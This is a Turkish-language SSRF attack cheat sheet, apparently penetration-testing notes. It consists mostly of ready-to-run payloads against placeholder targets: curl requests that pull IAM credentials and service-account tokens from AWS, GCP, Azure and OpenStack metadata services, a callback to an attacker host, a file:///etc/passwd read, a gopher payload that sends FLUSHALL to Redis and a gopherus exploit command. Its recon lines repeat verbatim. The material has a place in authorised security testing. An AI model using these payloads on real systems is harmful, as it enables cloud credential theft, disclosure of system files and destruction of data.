Cloud SSRF

web ssrf

Cloud SSRF sunucunun saldırgan kontrollü URL’ye istek yapmasını suistimal eder. Loopback, metadata ve iç servis erişimi öncelikli etkilerdir.

Metodoloji

1. URL alanını ve protokol desteklerini keşfet.

2. Loopback ve cloud metadata’ya istek doğrula.

3. Bypass (IP encoding, DNS rebinding, redirect) dene.

4. İç servis / credential etkisini kanıtla.

Temel SSRF

http://127.0.0.1/

http://localhost:8080/admin

http://169.254.169.254/latest/meta-data/

ffuf -u 'https://TARGET/fetch?url=FUZZ' -w ssrf-wordlist.txt -mc all

curl -sk 'https://TARGET/fetch?url=http://ATTACKER/'

Cloud metadata

curl -sk 'https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

curl -sk 'https://TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'

http://169.254.169.254/metadata/instance?api-version=2021-02-01  # Azure

curl -sk 'https://TARGET/fetch?url=http://169.254.169.254/openstack/latest/meta_data.json'

Protocol smuggle

gopher://127.0.0.1:6379/_FLUSHALL%0D%0A

dict://127.0.0.1:11211/stats

file:///etc/passwd

python3 gopherus.py --exploit redis

Operasyon notları

Cloud SSRF sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Ek komutlar

curl -sk https://TARGET/robots.txt

nuclei -u https://TARGET -as -silent

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

GET / HTTP/1.1
Host: TARGET
Accept: */*

mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Ek keşif komutları

curl -sk https://TARGET/robots.txt

curl -sk https://TARGET/sitemap.xml

ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403

nuclei -u https://TARGET -as -silent

GET / HTTP/1.1
Host: TARGET
Accept: */*

Kanıt toplama

mkdir -p evidence/web && tee evidence/web/notes.txt

request/response
zaman damgası
kullanılan hesap
etki özeti

curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html